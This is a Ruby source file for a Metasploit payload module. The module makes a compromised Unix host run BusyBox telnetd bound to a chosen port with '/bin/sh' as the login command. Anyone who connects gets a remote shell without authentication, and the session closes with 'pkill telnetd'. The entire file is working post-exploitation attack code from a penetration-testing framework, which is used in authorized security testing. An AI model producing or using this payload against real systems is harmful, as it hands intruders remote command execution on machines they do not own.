##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 26

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Unix Command Shell, Bind TCP (via BusyBox telnetd)',
      'Description'   => 'Listen for a connection and spawn a command shell via BusyBox telnetd',
      'Author'        => 'Matthew Kienow <matthew_kienow[AT]rapid7.com>',
      'License'       => MSF_LICENSE,
      'Platform'      => 'unix',
      'Arch'          => ARCH_CMD,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShell,
      'PayloadType'   => 'cmd',
      'RequiredCmd'   => 'telnetd',
      'Payload'       => {
        'Offsets' => { },
        'Payload' => ''
      }
    ))

    register_options(
      [
        OptString.new('LOGIN_CMD', [true, 'Command telnetd will execute on connect', '/bin/sh']),
      ]
    )

    register_advanced_options(
      [
        OptString.new('CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'pkill telnetd'])
      ]
    )
  end

  #
  # Constructs the payload
  #
  def generate
    vprint_good(command_string)
    return super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    "telnetd -l #{datastore['LOGIN_CMD']} -p #{datastore['LPORT']}"
  end

end
